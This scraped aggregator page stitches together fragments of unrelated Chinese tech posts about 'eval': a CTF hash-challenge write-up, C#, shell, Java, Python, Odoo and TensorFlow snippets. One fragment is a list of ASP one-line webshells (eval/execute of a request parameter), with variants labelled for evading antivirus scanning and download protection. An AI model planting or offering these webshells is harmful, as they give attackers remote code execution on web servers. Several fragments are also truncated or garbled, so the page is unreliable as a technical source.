eval

i春秋Hash

匿名 (未验证) 提交于 2019-12-03 00:03:02
打开题目页面是一个超链接 先查看源码得到一段信息 没什么,这只是超链接跳转的信息 点击跳转到下一个界面 123 123 key url key!=123 flag 然后后面是一段隐藏的信息,需要查看源码才看得到 <!--$hash=md5($sign.$key);the length of $sign is 8 hash sign.key md5 sign 8 key hash key=123&hash=f9109d5f83921a551cf859f853afe7bb hash md5 kkkkkk01123 8 kkkkkk01 sign=kkkkkk01 key=123 key=111 sign kkkkkk01 hash=md5 kkkkkk01111 adaa10eef3a02754da03b5a3a6f40ae632 md5 url http://dfa8409734bd4b7da26d1f5e95d40371a6c316b7a5d14cf8.changame.ichunqiu.com/index.php?key=111&hash=adaa10eef3a02754da03b5a3a6f40ae6 访问之,提示我们next step is Gu3ss_m3_h2h2.php 不多说,直接访问试试 php 看看源码有没有什么遗漏的 (。。。。。应该没有) 审计代码 demo

C# 调用JS Eval,高效率

匿名 (未验证) 提交于 2019-12-02 23:59:01
/// <summary> /// 动态计算表达式 /// </summary> class JSCaller { /// <summary> /// 动态计算表达式 /// </summary> function Eval(expression: String) { return eval(expression, "unsafe"); } } 1、将上面代码保存为 d:\JSCaller.js 2、在运行中执行命令:jsc /t:library d:\JSCaller .js 4、C#中使用 string expression = "(12345 + 321) * 50"; int result = Convert.ToInt32(new JSCaller().Eval(expression)); Console.WriteLine($"计算结果为:{result}"); 来源:博客园 作者: 五维思考 链接:https://www.cnblogs.com/zhaoshujie/p/11486913.html

一句话木马

匿名 (未验证) 提交于 2019-12-02 23:57:01
各种一句话木马大全 <%eval request("c")%> <%execute request("c")%> <%execute(request("c"))%> <%ExecuteGlobal request("sb")%> %><%Eval(Request(chr(35)))%><% <%if request ("c")<>""then session("c")=request("c"):end if:if session("c")<>"" then execute session("c")%> <%eval(Request.Item["c"],"unsafe");%> '备份专用 <%eval(request("c")):response.end%> '无防下载表,有防下载表突破专用一句话 <%execute request("c")%><%<%loop<%:%> <%<%loop<%:%><%execute request("c")%> <%execute request("c")<%loop<%:%> '防杀防扫专用 <%if Request("c")<>"" ThenExecuteGlobal(Request("c"))%> '不用"<,>" <script language=VBScript runat=server>execute request("c")<

shell eval命令

匿名 (未验证) 提交于 2019-12-02 23:57:01
1. eval command-line 其中 command - line 是在终端上键入的一条普通命令行。 然而当在它前面放上 eval 时,其结果是 shell 在执行命令行之前扫描它两次。 如: pipe="|" eval ls $pipe wc -l shell 第 1 次扫描命令行时,它替换出 pipe 的值|,接着 eval 使它再次扫描命令行,这时 shell 把|作为管道符号了。 如果变量中包含任何需要 shell 直接在命令行中看到的字符(不是替换的结果),就可以使用 eval 。命令行结束符(; | & ), I / o 重定向符( < > )和引号就属于对 shell 具有特殊意义的符号,必须直接出现在命令行中。 2. eval echo \$$# 取得最后一个参数 如: cat last eval echo \$$# ./last one two three four four 第一遍扫描后, shell 把反斜杠去掉了。当 shell 再次扫描该行时,它替换了 $4 的值,并执行 echo 命令 3. 以下示意如何用 eval 命令创建指向变量的“指针”: x=100 ptrx=x eval echo \$$ptrx 指向 ptrx ,用这里的方法可以理解 b 中的例子 100 打印 100 eval $ptrx=50 将 50 存到 ptrx

Odoo权限机制

匿名 (未验证) 提交于 2019-12-02 23:57:01
权限管理的四个层次 一、菜单级别:不属于指定菜单所包含组的用户看不到该菜单,只隐藏菜单,若知道菜单ID,任然可以通过指定URL访问 二、对象级别:对某个对象是否有“创建,读取,修改,删除”的权限,可以简单理解为表对象 三、记录级别:对对象表中的数据的访问权限,比如“客户”对象,业务员只能对自己所创建的客户有访问权限,而经理可以访问其管辖的所有业务员的“客户”对象 四、字段级别:一个对象或表上的某些字段的访问权限,比如产品的成本字段只有经理有读写权限 1 name = fields . Char ( 'Name' , size = 128 , required = True , select = True , read =[ 'base.group_admin' ], write =[ 'base.group_admin' ]) 定义name字段只有超级用户组可读写 建立权限组 就是我们常说的用户组,通常存放在 "reurity/模块名_security.xml" 文件下 例如: 1 <!-- 新建用户组 manager --> 2 3 < record id = "manager" model = "res.groups" > 4 < field name = "category_id" ref = "module_category_hidden" /> 5 < field

Java: Returning an object from ScriptEngine javascript

不羁的心 提交于 2019-12-02 23:52:16
I'm trying to evaluate javascript in Java by using the ScriptEngine class. Here is a short example of what I am trying to do: import javax.script.ScriptEngineManager; import javax.script.ScriptEngine; public class Test { public static void main(String[] args) { ScriptEngine engine = new ScriptEngineManager().getEngineByName("js"); //Creates a ScriptEngine Object obj = engine.eval("var obj = { value: 1 }; return obj; "); // Evals the creation of a simple object System.out.println(obj.value); // I get an invalid token error when trying to print a property of the object } } I'm pretty sure that

字典的使用习题练习

匿名 (未验证) 提交于 2019-12-02 23:49:02
1.定义一个函数,该函数可以实现在内部输入一个信息,如何该信息不能转换为正整数,则重新输入,直到能转换为正整数,则对外返回转换的正整数 代码: def intnum(): while True: num = input('请输入一个信息') if num[0] == '-' or num.isdigit() or num.count('.')==1 and num.replace(".", '').isdigit(): if eval(num)>0: return round(eval(num),0) if eval(num)<0: return abs(round(eval(num),0)) print(intnum()) 2.定义一个函数,该函数可以实现在内部输入一个信息,如何该信息不能转换为负整数,则重新输入,直到能转换为负整数,则对外返回转换的负整数 代码: def fintnum(): while True: num = input('请输入一个信息') if num[0] == '-' or num.isdigit() or num.count('.') == 1 and num.replace(".", '').isdigit(): if eval(num) > 0: return 0-round(eval(num), 0) if eval(num) < 0:

format和center

匿名 (未验证) 提交于 2019-12-02 23:49:02
'{0:-^20,.2f}'.format(a) 0对应参数a :是引导符号 ^居中对齐 小于号<是左对齐 大于号>是右对齐 20是宽度 .后面是精度 2f是小数点后保留两位 .2%是百分数保留几位小数,例如'{0:.2%}'.format{3.14} 输出为 314.00% a.center(20,'*') 输出结果为:字符串a居中,共20宽度,*填充 若没有*,默认空格填充。 http://www.icourse163.org/learn/BIT-268001?tid=1206073223#/learn/forumdetail?pid=1212723173 a = input() if eval(a)%2 == 0:   print('请重新输入。') else:   for i in range(1,eval(a)+1,2):     b = i*'*'     print('{0:^{1}}'.format(b,a),end = '\n') 转载请标明出处: format和center 文章来源: format和center

老男孩第二天作业

匿名 (未验证) 提交于 2019-12-02 23:47:01
Ŀ¼ nickchen = "nick handsome, height 180, age 18, weight 140" height = nickchen[22:25] print("nick的身高",height) weight = nickchen[-3:] print("nick的体重",weight) age = nickchen[-14:-12] print("nick的年龄",age) W = input("请输入您的体重") if W[-1:] == 'g': if W[-2] == 'm': kg = eval(W[:-2]) / 1000000 print(str(kg) + "kg") else: kg = eval(W[:-1]) / 1000 print(str(kg) + "kg") elif W[-3:] == 'jin': kg = eval(W[:-3]) / 2 print(str(kg) + "kg") else: print("请输入正确的体重!") x = input("输入第一个数:") y = input("输入第二个数:") z = input("请输入要进行的运算符号") if z == '+': sum1 = eval(x) + eval(y) print("相加的数值为:", sum1) elif z == '-': sum1

在TensorFlow中,Session.run 和Tensor.eval 有什么区别

匿名 (未验证) 提交于 2019-12-02 23:41:02
TensorFlow有两种方式来评估Graph(计算图)的一部分:对变量列表做 Session.run 或 Tensor.eval 。这两者有什么区别? 最佳解决思路 如果你有一个 Tensor t,调用 t.eval() 相当于调用 tf.get_default_session().run(t) 。 可以按如下方式将会话设置为默认会话: t = tf.constant(42.0) sess = tf.Session() with sess.as_default(): # or `with sess:` to close on exit assert sess is tf.get_default_session() assert t.eval() == sess.run(t) 最重要的区别是,可以使用 sess.run() 在相同的步骤中获取多个Tensor(张量)的值: t = tf.constant(42.0) u = tf.constant(37.0) tu = tf.mul(t, u) ut = tf.mul(u, t) with sess.as_default(): tu.eval() # runs one step ut.eval() # runs one step sess.run([tu, ut]) # evaluates both tensors in a